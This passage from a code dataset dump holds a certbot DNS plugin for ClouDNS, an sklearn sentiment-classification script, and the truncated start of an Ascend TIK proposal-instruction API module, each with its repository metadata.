"usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 213, "usage_type": "call"}, {"api_name": "websocket.create_connection", "line_number": 222, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 223, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 227, "usage_type": "call"}, {"api_name": "fastapi.FastAPI", "line_number": 235, "usage_type": "call"}, {"api_name": "fastapi.staticfiles.StaticFiles", "line_number": 236, "usage_type": "call"}, {"api_name": "fastapi.templating.Jinja2Templates", "line_number": 237, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 248, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 256, "usage_type": "call"}, {"api_name": "fastapi.Request", "line_number": 263, "usage_type": "name"}, {"api_name": "fastapi.responses.HTMLResponse", "line_number": 262, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 270, "usage_type": "call"}, {"api_name": "os.path", "line_number": 270, "usage_type": "attribute"}, {"api_name": "fastapi.responses.FileResponse", "line_number": 271, "usage_type": "call"}, {"api_name": "fastapi.WebSocket", "line_number": 275, "usage_type": "name"}, {"api_name": "websocket.receive_text", "line_number": 279, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 280, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 287, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 289, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 293, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 312, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 314, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 318, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 333, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 351, "usage_type": "call"}, {"api_name": "fastapi.WebSocketDisconnect", "line_number": 353, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 358, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 359, "usage_type": "attribute"}, {"api_name": "uvicorn.run", "line_number": 367, "usage_type": "call"}]}
{"seq_id": "4785275376", "text": "import logging\n\nfrom certbot import interfaces\n\n# import zope.component\nimport zope.interface\n\nfrom certbot.plugins import dns_common\nfrom cloudnsapi.api import Api as _cloudnsapi\n\n\nACCOUNT_URL = 'https://www.cloudns.net/api-settings/'\n\nlogger = logging.getLogger(__name__)\n\n@zope.interface.implementer(interfaces.IAuthenticator)\n@zope.interface.provider(interfaces.IPluginFactory)\nclass Authenticator(dns_common.DNSAuthenticator):\n    description = 'Obtain certificates using a DNS TXT record (if you are using ClouDNS for DNS).'\n    ttl = 60\n\n    def __init__(self, *args, **kwargs):\n        super(Authenticator, self).__init__(*args, **kwargs)\n        self.credentials = None\n        self.records = {}\n\n    @classmethod\n    def add_parser_arguments(cls, add): # pylint: disable=missing-docstring\n        super(Authenticator, cls).add_parser_arguments(add, default_propagation_seconds=30)\n        add('credentials', help='ClouDNS credentials INI file.')\n\n    def more_info(self):  # pylint: disable=missing-docstring,no-self-use\n        return 'This plugin configures a DNS TXT record to respond to a dns-01 challenge using ' + \\\n               'the ClouDNS API.'\n\n    def _setup_credentials(self):\n        self.credentials = self._configure_credentials(\n            'credentials',\n            'ClouDNS credentials INI file',\n            {\n                'auth-id': 'auth-id for ClouDNS account, obtained from {0}'.format(ACCOUNT_URL),\n                'password': 'Password for CloudDNS api user, obtained from {0}'.format(ACCOUNT_URL)\n            }\n        )\n    def _perform(self, domain, validation_name, validation):\n\n        zones = self._get_cloudns_client().list_zones()\n\n        match = {'name': ''}\n        for zone in zones:\n            if zone['zone'] != 'domain':\n                continue\n            pos = domain.find(zone['name'])\n            logger.debug(\"Trying to match zone: %s\", repr(zone))\n            if pos != -1:\n                # this is the zone\n                logger.debug(\"Got a match: {}\".format(repr(zone)))\n                if match['name']:\n                    if match['priority'] > pos:\n                        match = {'name': zone['name'], 'priority': pos}\n                else:\n                    match = {'name': zone['name'], 'priority': pos}\n        if not match['name']:\n            return False\n        zonename = match['name']\n        logger.debug(\"Matched domain name: %s\", zonename)\n\n        recordname = validation_name.replace(zonename, '')[:-1]\n\n        logger.debug(\"Record: %s\", recordname)\n\n        response = self._get_cloudns_client().add_record(zonename,\n                                                         'TXT', recordname, validation, ttl=60)\n\n        if response['status'] != 'Success':\n            return False\n\n        self.records[validation_name] = {'id': response['data']['id'], 'zone': zonename}\n\n    def _cleanup(self, domain, validation_name, validation):\n        logger.debug(\"performing cleanup for %s\", validation_name)\n        response = self._get_cloudns_client().delete_record(self.records[validation_name]['zone'],\n                                                            self.records[validation_name]['id']\n                                                           )\n        logger.debug(\"Response: %s\", repr(response))\n\n    def _get_cloudns_client(self):\n        return _cloudnsapi(self.credentials.conf('auth-id'),\n                           self.credentials.conf('password'),\n                           True\n                          )\n", "repo_name": "rf152/certbot-plugin-cloudns", "sub_path": "certbot_cloudns/plugin.py", "file_name": "plugin.py", "file_ext": "py", "file_size_in_byte": 3525, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "certbot.plugins.dns_common.DNSAuthenticator", "line_number": 18, "usage_type": "attribute"}, {"api_name": "certbot.plugins.dns_common", "line_number": 18, "usage_type": "name"}, {"api_name": "cloudnsapi.api.Api", "line_number": 88, "usage_type": "call"}, {"api_name": "zope.interface.interface.implementer", "line_number": 16, "usage_type": "call"}, {"api_name": "zope.interface.interface", "line_number": 16, "usage_type": "attribute"}, {"api_name": "zope.interface", "line_number": 16, "usage_type": "name"}, {"api_name": "certbot.interfaces.IAuthenticator", "line_number": 16, "usage_type": "attribute"}, {"api_name": "certbot.interfaces", "line_number": 16, "usage_type": "name"}, {"api_name": "zope.interface.interface.provider", "line_number": 17, "usage_type": "call"}, {"api_name": "zope.interface.interface", "line_number": 17, "usage_type": "attribute"}, {"api_name": "zope.interface", "line_number": 17, "usage_type": "name"}, {"api_name": "certbot.interfaces.IPluginFactory", "line_number": 17, "usage_type": "attribute"}, {"api_name": "certbot.interfaces", "line_number": 17, "usage_type": "name"}]}
{"seq_id": "38223234297", "text": "#!/usr/bin/env python3\n# coding: utf-8\n# File: sklearn_wo_pretrained_vector.py\n# Author: lxw\n# Date: 6/21/18 11:32 AM\n\nimport collections\nimport matplotlib.pyplot as plt\nimport nltk\nimport numpy as np\nimport pandas as pd\n\nfrom keras.preprocessing import sequence\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import train_test_split\n\n\nBATCH_SIZE = 16\n# 把词汇表的大小设为一个定值，并且对于不在词汇表里的单词，把它们用UNK代替\nMAX_VOCAB_SIZE = 2000  # 2000 -> 2300: 效果没有明显提升(v2.3: 99.2% -> 99.1%)\n# 根据句子的最大长度max_len，我们可以统一句子的长度，把短句用 0 填充\nMAX_SENTENCE_LENGTH = 40  # 40 -> 50: 效果没有明显提升(v2.3: 99.2% -> 99.1%)\n\n\ndef preprocessing():\n    max_len = 0\n    word_freqs = collections.Counter()\n    sample_count = 0\n\n    with open(\"../data/input/training.txt\", \"r\") as f:\n        for line in f:\n            label, sentence = line.strip().split(\"\\t\")  # split()要求必须是str类型，不能是bytes类型\n            words = nltk.word_tokenize(sentence.lower())  # type(words): list\n            length = len(words)\n            if length > max_len:\n                max_len = length\n            for word in words:\n                word_freqs[word] += 1\n            sample_count += 1\n\n    print(f\"Length of the longest sentence in the training set: {max_len}\")  # 42\n    print(f\"vocabulary size: {len(word_freqs)}\")  # 2329. 包括标点符号\n\n    vocab_size = min(MAX_VOCAB_SIZE, len(word_freqs))\n    # word_freqs.most_common(MAX_VOCAB_SIZE): <list of tuple>. [(\"i\", 4705), \",\", 4194, \".\": 3558, \"the\": 3221, ...]\n    word2index = {word[0]: idx+2 for idx, word in enumerate(word_freqs.most_common(MAX_VOCAB_SIZE))}\n    word2index[\"PAD\"] = 0  # \"PAD\"没有实际意义\n    word2index[\"UNK\"] = 1\n    vocab_size += 2  # 加上\"PAD\", \"UNK\"\n    index2word = {v: k for k, v in word2index.items()}\n    return sample_count, vocab_size, word2index, index2word\n\n\ndef gen_train_val_data(sample_count, word2index, index2word):\n    X = np.empty(sample_count, dtype=list)  # <ndarray of list>\n    y = np.zeros(sample_count)\n    idx = 0\n    with open(\"../data/input/training.txt\", \"r\") as f:\n        for line in f:\n            label, sentence = line.strip().split(\"\\t\")\n            words = nltk.word_tokenize(sentence.lower())\n            seqs = []\n            for word in words:\n                if word in word2index:\n                    seqs.append(word2index[word])\n                else:\n                    seqs.append(word2index[\"UNK\"])\n            X[idx] = seqs\n            y[idx] = int(label)\n            idx += 1\n\n    X = sequence.pad_sequences(X, maxlen=MAX_SENTENCE_LENGTH, value=0)  # default: 从前面补0, 从前面截取\n    print(f\"X.shape: {X.shape}\")  # X.shape: (7086, 40)\n    # \"shuffle=True\" is essential for RF.\n    # return train_test_split(X, y, test_size=0.333, random_state=1, shuffle=False)\n    return train_test_split(X, y, test_size=0.333, random_state=1, shuffle=True)\n\n\n# TODO: 1\ndef model_evaluate(model, index2word, X_val, y_val):\n    score, acc = model.evaluate(X_val, y_val, batch_size=BATCH_SIZE)  # model.metrics: [\"accuracy\"]\n    print(f\"\\nValidation score: {score:.3f}, accuracy: {acc:.3f}\")\n    print(\"预测\\t真实\\t句子\")\n    for i in range(5):\n        idx = np.random.randint(len(X_val))\n        x_test = X_val[idx].reshape(1, MAX_SENTENCE_LENGTH)\n        y_label = y_val[idx]\n        ypred = model.predict(x_test)[0][0]\n        sent = \" \".join([index2word[x] for x in x_test[0] if x != 0])\n        print(f\"{int(round(ypred))}\\t{int(y_label)}\\t{sent}\")\n\n\n# TODO: 2\ndef model_testing(model, word2index):\n    input_sentences = [\"I love reading.\", \"You are so boring.\", \"The orange doesn't taste very sweet.\", \"What a game.\"]\n    X_test = np.empty(len(input_sentences), dtype=list)\n    idx = 0\n    for sentence in input_sentences:\n        words = nltk.word_tokenize(sentence.lower())\n        seq = []\n        for word in words:\n            if word in word2index:\n                seq.append(word2index[word])\n            else:\n                seq.append(word2index[\"UNK\"])\n        X_test[idx] = seq\n        idx += 1\n\n    X_test = sequence.pad_sequences(X_test, maxlen=MAX_SENTENCE_LENGTH, value=0)  # shape: (4, 40)\n    labels = [int(round(x[0])) for x in model.predict(X_test) ]\n    label2word = {1: \"积极\", 0: \"消极\"}\n    print()\n    for i in range(len(input_sentences)):\n        print(f\"{label2word[labels[i]]}\\t{input_sentences[i]}\")\n\n\ndef train_val_predict(X_train, X_val, y_train, y_val):\n    '''\n    # 1. [NO]LR: LR算法的优点是可以给出数据所在类别的概率\n    model = linear_model.LogisticRegression(C=1e5)\n    \"\"\"\n    C: default: 1.0\n    Inverse of regularization strength; must be a positive float. Like in support vector machines,\n    smaller values specify stronger regularization.\n    \"\"\"\n    # 2. [NO]NB: 也是著名的机器学习算法, 该方法的任务是还原训练样本数据的分布密度, 其在多分类中有很好的效果\n    from sklearn import naive_bayes\n    model = naive_bayes.GaussianNB()  # 高斯贝叶斯\n    # 3. [OK]KNN:\n    from sklearn.neighbors import KNeighborsClassifier\n    model = KNeighborsClassifier()  # 非常慢，感觉没法用(跑了半个多小时没反应)\n    # 4. [OK]决策树: 分类与回归树(Classification and Regression Trees, CART)算法常用于特征含有类别信息\n    # 的分类或者回归问题，这种方法非常适用于多分类情况\n    from sklearn.tree import DecisionTreeClassifier\n    model = DecisionTreeClassifier()\n    # 5. [NO]SVM: SVM是非常流行的机器学习算法，主要用于分类问题，\n    # 如同逻辑回归问题，它可以使用一对多的方法进行多类别的分类\n    from sklearn.svm import SVC\n    model = SVC()\n\n    # 6. [OK]MLP: 多层感知器(神经网络)\n    from sklearn.neural_network import MLPClassifier\n    # model = MLPClassifier(activation=\"relu\", solver=\"adam\", alpha=0.0001)\n    # model = MLPClassifier(activation=\"identity\", solver=\"adam\", alpha=0.0001)\n    # model = MLPClassifier(activation=\"logistic\", solver=\"adam\", alpha=0.0001)\n    model = MLPClassifier(activation=\"tanh\", solver=\"adam\", alpha=0.0001)\n    '''\n\n    # 7. RF: 随机森林\n    from sklearn.ensemble import RandomForestClassifier\n    # n_jobs: If -1, the number of jobs is set to the number of cores.\n    model = RandomForestClassifier(n_estimators=100, min_samples_leaf=10, n_jobs=-1, random_state=0)\n\n    model.fit(X_train, y_train)\n    y_val_pred = model.predict(X_val)\n    # print(f\"\\nmodel.feature_importances_: {model.feature_importances_}\\n\")\n\n    print(f\"classification_report:\\n{classification_report(y_val, y_val_pred)}\")  # y_true, y_pred\n    print(f\"confusion_matrix:\\n{confusion_matrix(y_val, y_val_pred, labels=range(2))}\")\n    print(\"Mean accuracy score:\", accuracy_score(y_val, y_val_pred))\n    # cv = StratifiedKFold(n_splits=5, shuffle=True)\n    scores = cross_val_score(model, X_train, y_train, cv=5)\n    print(f\"Accuracy: {scores.mean():.2f}(+/-{scores.std() * 2:.2f})\")\n    print(\"model.score:\", model.score(X_val, y_val))\n\n    \"\"\"\n    predicted = model.predict(X_test)\n    # print(predicted)\n    # 把categorical数据转为numeric值，得到分类结果\n    predicted = np.argmax(predicted, axis=1)\n    predicted = pd.Series(predicted, name=\"Sentiment\")\n    submission = pd.concat([X_test_id, predicted], axis=1)\n    # submission.to_csv(\"../data/output/submissions/sk_knn_submission.csv\", index=False)\n    submission.to_csv(\"../data/output/submissions/sk_rf_submission_matrix.csv\", index=False)\n    \"\"\"\n\n\nif __name__ == \"__main__\":\n    # For reproducibility\n    np.random.seed(2)\n\n    sample_count, vocab_size, word2index, index2word = preprocessing()\n\n    X_train, X_val, y_train, y_val = gen_train_val_data(sample_count, word2index, index2word)\n\n    print(f\"\\nX_train.shape:{X_train.shape}\\nX_val.shape:{X_val.shape}\\n\"\n          f\"y_train.shape:{y_train.shape}\\ny_val.shape:{y_val.shape}\\n\")\n    # X_train.shape: (4726, 40). X_val.shape: (2360, 40). y_train.shape: (4726,). y_val.shape: (2360,)\n\n    train_val_predict(X_train, X_val, y_train, y_val)\n\n    # TODO\n    \"\"\"\n    model = None\n    model_evaluate(model, index2word, X_val, y_val)\n    model_testing(model, word2index)\n    \"\"\"\n", "repo_name": "lxw0109/SentimentClassification_UMICH_SI650", "sub_path": "src/sklearn_wo_pretrained_vector.py", "file_name": "sklearn_wo_pretrained_vector.py", "file_ext": "py", "file_size_in_byte": 8453, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.Counter", "line_number": 30, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 59, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.preprocessing.sequence.pad_sequences", "line_number": 75, "usage_type": "call"}, {"api_name": "keras.preprocessing.sequence", "line_number": 75, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 99, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 102, "usage_type": "call"}, {"api_name": "keras.preprocessing.sequence.pad_sequences", "line_number": 112, "usage_type": "call"}, {"api_name": "keras.preprocessing.sequence", "line_number": 112, "usage_type": "name"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 155, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 161, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 162, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 163, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 183, "usage_type": "attribute"}]}
{"seq_id": "1865326186", "text": "from te import tvm  # pylint: disable=C0302\nfrom te.platform import cce_params\nfrom te.platform.cce_params import ASCEND_310\nfrom te.platform.cce_params import ASCEND_910\nfrom te.platform.cce_params import scope_ubuf\nfrom te.platform.cce_conf import intrinsic_check_support\nfrom te.tik.common.util import DTYPE_SIZE, check_integer_in_range, \\\n    reduce_mul, get_bit_len, check_scalar_dtype, is_basic_expr\nfrom te.tik.common.common_util import check_vector_stride\nfrom te.tik.common.common_util import check_vms4_repeat_times\nfrom ..api.tik_tensor import Tensor\nfrom ..api.tik_scalar import Scalar\nfrom .. import debug\nfrom .tik_expr import Expr\nfrom ..api.tik_ir_builder import TikIRBuilder\nfrom .tik_util import type_convert, concat_params\nfrom .tik_api_util import check_tensor_list, check_repeat_times\nfrom .tik_params import RPN_COR_IR, VMS4_SR, RPN_OFFSET, PIPE_V, \\\n    MAX_MODE_NUMBER, VMS4_REGION_LIST0_POS, \\\n    VMS4_REGION_LIST1_POS, VMS4_REGION_LIST2_POS, VMS4_REG_BIT_ALL_ONE, \\\n    SRC_LIST_LEN, MAX_ELEMENTS_LEN, VALID_BIT_TUPLE, VMS4_SR_ARRAY_LEN, \\\n    MAX_REP_STRIDE_DOUBLE_BYTE, VEXTRACT_OFFSET_LIST, VEXTRACT_SEGMENT_LIST, \\\n    VCONCAT_OFFSET_LIST, VCONCAT_SEGMENT_LIST, VMRGSORT4_OFFSET_LIST, \\\n    VMRGSORT4_SEGMENT_LIST, RPN_COR_OFFSET_LIST, RPN_COR_SEGMENT_LIST, \\\n    MAX_MODE_NUMBER_VEXTRACT_V100, TWO_IR, ONE_IR, VALID_BIT_TUPLE_V200, \\\n    INSTR_DTYPE_SUPPORT_STATEMENT\nfrom .tik_check_util import TikCheckUtil\nfrom .tik_source_info import source_info_decorator\nfrom ..common.tik_get_soc_name import get_soc_name\n\n# one proposal contanis 8 elements\n_ELEMENTS_COUNT = 8\n# each repeat computes 16 proposals\n_PROPOSAL_NUM = 16\n# element number per proposal\n_ELEMENTS_PER_PROPOSAL = 8\n\n\ndef _count_bit_1(num):\n    \"\"\"count number of bit 1 in integer num\n\n    Parameters\n    ----------\n    num: input integer\n\n    Returns\n    -------\n    ret: number of bit 1 in num\n    \"\"\"\n    ret = 0\n    while num > 0:\n        ret += num & 1\n        num = num >> 1\n    return ret\n\ndef _check_vms4_dst_tensor_overflow(dst, element_count_list, valid_bit,\n                                    repeat_times, if_exhausted_suspension):\n    \"\"\"check vms dst tensor overflow, cannot check repeat condition and\n    is_exhausted_suspension = True\n\n    Parameters\n    ----------\n    dst: dst tensor\n    element_count_list : length of the proposal list\n    valid_bit : 0001 one lines are valid\n                0011 two lines are valid\n                0111 three lines are valid\n                1111 four lines are valid\n    repeat_times: repeat_times: times of invoke this instrction\n    if_exhausted_suspension : 0 not stop, 1 stop\n\n    Returns\n    -------\n    None\n    \"\"\"\n    valid_bit = Expr(valid_bit).eval_value()\n    if valid_bit is None:\n        return\n    for value in element_count_list:\n        if Expr(value).eval_value() is None:\n            return\n    element_count_list = [Expr(value).eval_value() for value in\n                          element_count_list]\n    if if_exhausted_suspension is True or valid_bit != 15 or \\\n            len(set(element_count_list)) != 1:\n        repeat_times = 1\n\n    index = _count_bit_1(valid_bit)\n    if if_exhausted_suspension is True:\n        least_expected_dst_ele = min(element_count_list[0:index])*\\\n                                 _ELEMENTS_PER_PROPOSAL + dst.offset\n    else:\n        least_expected_dst_ele = (sum(element_count_list[0:index]) +\n                                  (repeat_times - 1)*sum(element_count_list))*\\\n                                 _ELEMENTS_PER_PROPOSAL + dst.offset\n\n    actual_dst_ele = reduce_mul(dst.indice.origin_shape)\n    least_expected_dst_ele = Expr(least_expected_dst_ele).eval_value()\n    actual_dst_ele = Expr(actual_dst_ele).eval_value()\n    if all(value is not None for value in\n           (actual_dst_ele, least_expected_dst_ele)):\n        TikCheckUtil.check_ge(\n            actual_dst_ele, least_expected_dst_ele,\n            \"dst tensor overflow, expected elements at least: {}, actual \"\n            \"elements: {}\".format(least_expected_dst_ele, actual_dst_ele))\n\n\ndef _check_vms4_src_tensor_overflow(src_list, element_count_list, valid_bit,\n                                    repeat_times, if_exhausted_suspension):\n    \"\"\"check vms src tensor overflow, cannot check repeat condition\n\n    Parameters\n    ----------\n    src_list : source operation list\n    element_count_list : length of the proposal list\n    valid_bit : 0001 one lines are valid\n                0011 two lines are valid\n                0111 three lines are valid\n                1111 four lines are valid\n    repeat_times: repeat_times: times of invoke this instrction\n    if_exhausted_suspension : 0 not stop, 1 stop\n\n    Returns\n    -------\n    None\n    \"\"\"\n    valid_bit = Expr(valid_bit).eval_value()\n    if valid_bit is None:\n        return\n    for value in element_count_list:\n        if Expr(value).eval_value() is None:\n            return\n    element_count_list = [Expr(value).eval_value() for value in\n                          element_count_list]\n    if if_exhausted_suspension is True or valid_bit != 15 or \\\n            len(set(element_count_list)) != 1:\n        repeat_times = 1\n    # valid_bit(binary) contains 1/2/3/4 bit1, check 1/2/3/4 src tensor\n    index = 0\n    while valid_bit > 0:\n        actual_src_ele = reduce_mul(src_list[index].indice.origin_shape)\n        expected_src_ele = (element_count_list[index] + (repeat_times - 1)*\n                            sum(element_count_list))*_ELEMENTS_PER_PROPOSAL + \\\n                           src_list[index].offset\n\n        actual_src_ele = Expr(actual_src_ele).eval_value()\n        expected_src_ele = Expr(expected_src_ele).eval_value()\n        if all(value is not None for value in\n               (actual_src_ele, expected_src_ele)):\n            TikCheckUtil.check_ge(\n                actual_src_ele, expected_src_ele,\n                \"src_list[{}] tensor overflow, expected elements: {}, \"\n                \"actual elements: {}\".format(index, expected_src_ele,\n                                             actual_src_ele))\n        valid_bit = valid_bit >> 1\n        index += 1\n\n\ndef _check_overflow(tensor, extent, tensor_name):\n    \"\"\"check tensor overflow\n\n    Parameters\n    ----------\n    tensor : tensor operation\n    extent : max offset of calculate tensor\n    tensor_name : operation name\n\n    Returns\n    -------\n    None\n    \"\"\"\n    total_size = reduce_mul(tensor.indice.origin_shape)\n    offset = tensor.offset\n    total_offset = Expr(offset + extent).eval_value()\n    if total_offset is not None:\n        TikCheckUtil.check_ge(\n            total_size, total_offset,\n            \"{} tensor overflow, expected elements: {}, actual elements: {}\"\n            .format(tensor_name, total_offset, total_size))\n\n\ndef _check_special_intrin_func_overflow(name, dst, src_list, repeat_times):\n    \"\"\"for proposal api, check tensor overflow\n\n    Parameters\n    ----------\n    name : instruction name\n    dst : destination operator\n    src_list : the list of source operation\n    repeat_times : Repeated iterations times\n\n    Returns\n    -------\n    None\n    \"\"\"\n    if Expr(repeat_times).eval_value() is None:\n        return\n    if name == \"vaadd\":\n        _check_overflow(dst, repeat_times*_PROPOSAL_NUM*_PROPOSAL_NUM,\n                        \"dst\")\n        _check_overflow(src_list[0], repeat_times*_PROPOSAL_NUM, \"src0\")\n        _check_overflow(src_list[1], _PROPOSAL_NUM, \"src1\")\n    elif name == \"viou\":\n        _check_overflow(dst, repeat_times*_PROPOSAL_NUM*_PROPOSAL_NUM,\n                        \"dst\")\n        _check_overflow(src_list[0],\n                        repeat_times*_PROPOSAL_NUM*_ELEMENTS_COUNT, \"src0\")\n        _check_overflow(src_list[1], _PROPOSAL_NUM*_ELEMENTS_COUNT, \"src1\")\n    elif name == \"vconcat\":\n        _check_overflow(dst, repeat_times*_PROPOSAL_NUM*_ELEMENTS_COUNT,\n                        \"dst\")\n        _check_overflow(src_list[0], repeat_times*_PROPOSAL_NUM, \"src\")\n    elif name == \"vrpac\":\n        _check_overflow(dst, repeat_times*_PROPOSAL_NUM, \"dst\")\n        _check_overflow(src_list[0],\n                        repeat_times*_PROPOSAL_NUM*_ELEMENTS_COUNT, \"src\")\n    elif name == \"vbitsort\":\n        _check_overflow(dst, repeat_times*_PROPOSAL_NUM*_ELEMENTS_COUNT, \"dst\")\n        _check_overflow(src_list[0],\n                        repeat_times*_PROPOSAL_NUM*_ELEMENTS_COUNT, \"src\")\n\n\ndef addr_array_make(tik_instance, tensor_list):\n    \"\"\"help generate the input array in VA mode.\n    tensor_list -> address_list\n\n    Parameters\n    ----------\n    tik_instance : tik\n    tensor_list : the list of tensor\n\n    Returns\n    -------\n    list\n    \"\"\"\n    TikCheckUtil.check_type_match(tensor_list, (list, tuple),\n                                  \"tensor_list shoulde be list or tuple\")\n    addr_list = []\n    scope = None\n    dtype = None\n    for i in tensor_list:\n        TikCheckUtil.check_type_match(i, Tensor,\n                                      \"element of tensor_list must be Tensor\")\n        if scope is None:\n            scope = i.scope\n        else:\n            TikCheckUtil.check_equality(scope, i.scope,\n                                        \"scope should be equal to each other\")\n        if dtype is None:\n            dtype = i.dtype\n        else:\n            TikCheckUtil.check_equality(dtype, i.dtype,\n                                        \"dtype should be equal to each other\")\n        addr_list.append(i.access_ptr(\"r\"))\n\n    tmp_node = tvm.make.Evaluate(tvm.call_extern(dtype, \"addr_array\", scope,\n                                                 \"addr_array_\" +\n                                                 TikProposalApi.\n                                                 get_vm4_value(True),\n                                                 *addr_list))\n    tik_instance.source_info.set_node_loc(tmp_node)\n    return tmp_node\n\n\nclass TikProposalApi(TikIRBuilder):\n    \"\"\"\n    Proposal Operation Api\n    \"\"\"\n\n    # used to define attr vmrgsort4 value\n    vmrgsort4_attr_value = 0\n\n    def __init__(self):\n        super(TikProposalApi, self).__init__()\n\n    @staticmethod\n    def get_vm4_value(is_addr_array_make):\n        \"\"\"\n        if is_addr_array_make, value should add 1\n        used for vmrgsort4\n        :param is_addr_array_make:\n        :return: current vmrgsort4 value\n        \"\"\"\n        if is_addr_array_make:\n            TikProposalApi.vmrgsort4_attr_value += 1\n            return str(TikProposalApi.vmrgsort4_attr_value)\n        return str(TikProposalApi.vmrgsort4_attr_value)\n\n    @source_info_decorator(depth=2)\n    @debug.object_special_decorator\n    def _special_intrin_func(self, name, dst, src_list, repeat_times):\n        # check repeat_times\n        check_repeat_times(repeat_times)\n        # check dst tensor info\n        TikCheckUtil.check_type_match(dst, Tensor, \"dst should be tensor\")\n        # check tensor scope\n        TikCheckUtil.check_equality(dst.scope, scope_ubuf,\n                                    \"dst's scope must be UB\")\n        # check tensor dtype\n        TikCheckUtil.check_type_match(src_list, (list, tuple),\n                                      \"src_list should be list or tuple\")\n        for src in src_list:\n            TikCheckUtil.check_type_match(src, Tensor, \"src should be tensor\")\n            TikCheckUtil.check_equality(src.scope, scope_ubuf,\n                                        \"src's scope must be UB\")\n            TikCheckUtil.check_equality(dst.dtype, src.dtype,\n                                        \"Intrinsic {}'s src's dtype should \"\n                                        \"be equal to dst's dtype\".format(name))\n\n        TikCheckUtil.check_equality(intrinsic_check_support(\"Intrinsic_\" +\n                                                            name, dst.dtype),\n                                    True,\n                                    INSTR_DTYPE_SUPPORT_STATEMENT.\n                                    format(dst.dtype, name))\n        # check tensor overflow\n        _check_special_intrin_func_overflow(name, dst, src_list, repeat_times)\n\n        self._generate_code_intrin_func(name, dst, src_list, repeat_times)\n\n    def _generate_code_intrin_func(self, name, dst, src_list, repeat_times):\n        \"\"\"generate code\n\n        Parameters\n        ----------\n        name : The function name.\n        dst : destination operator\n        src : source operation list\n        repeat_times : Repeated iterations times\n\n        Returns\n        -------\n        None\n        \"\"\"\n        from .tik_params import OBJECT_SPECIAL_OFFSET_LIST, \\\n            OBJECT_SPECIAL_SEGMENT_LIST\n        if name == \"vmergech\":\n            if get_bit_len(dst.dtype) == 16:\n                dst = dst.reinterpret_cast_to(\"float16\")\n                src_list = [src.reinterpret_cast_to(\"float16\")\n                            for src in src_list]\n            else:\n                dst = dst.reinterpret_cast_to(\"uint8\")\n                src_list = [src.reinterpret_cast_to(\"uint8\")\n                            for src in src_list]\n        # code gen\n        if name == \"vrpac\":\n            # dst_extent: repeat_times * 16 elements/proposal * dtype_size\n            # src_extent: repeat_time * 16 proposal * 8 element/proposal *\n            #             dtype_size\n            dst_extent = Expr(repeat_times*16*DTYPE_SIZE[dst.dtype])\n            src_extent = [Expr(repeat_times*16*8*DTYPE_SIZE[src_list[0].dtype])]\n        elif name == \"vbitsort\":\n            dst_extent = Expr(repeat_times*16*8*DTYPE_SIZE[dst.dtype])\n            src_extent = [Expr(repeat_times*16*8*DTYPE_SIZE[src_list[0].dtype])]\n        elif name == \"viou\":\n            # dst_extent: repeat_times * 256 intersection area * dtype_size\n            # src_extent: 16 region proposals are continous in unified buffer\n            #             repeat_times * 16 region proposals *\n            #             8 element/proposal * dtype_size\n            dst_extent = Expr(repeat_times*256*DTYPE_SIZE[dst.dtype])\n            src_extent = [Expr(repeat_times*16*8*DTYPE_SIZE[src_list[0].dtype]),\n                          Expr(16*8*DTYPE_SIZE[src_list[1].dtype])]\n        elif name == \"vaadd\":\n            # dst_extent, src_extent same as \"viou\"\n            src_extent = [Expr(repeat_times*16*DTYPE_SIZE[src_list[0].dtype]),\n                          Expr(16*DTYPE_SIZE[src_list[1].dtype])]\n            dst_extent = Expr(repeat_times*256*DTYPE_SIZE[dst.dtype])\n        else:  # name == \"vmergech\":\n            if dst.dtype in [\"float16\", \"uint16\", \"int16\"]:\n                # extract valid 8B from each 32B for b16\n                dst_extent = Expr(repeat_times*8)\n            else: # uint8 int8\n                # extract valid 4B from each 32B for b8\n                dst_extent = Expr(repeat_times*4)\n            src_extent = [Expr(repeat_times*32)]\n        tensor_addr = [dst.access_ptr(\"w\", extent=dst_extent.get())]\n        TikCheckUtil.check_equality(\n            len(src_list), len(src_extent),\n            \"length of src_list should be equal to length of src_extent\")\n        for index, tmp_src in enumerate(src_list):\n            tensor_addr.append(tmp_src.access_ptr(\n                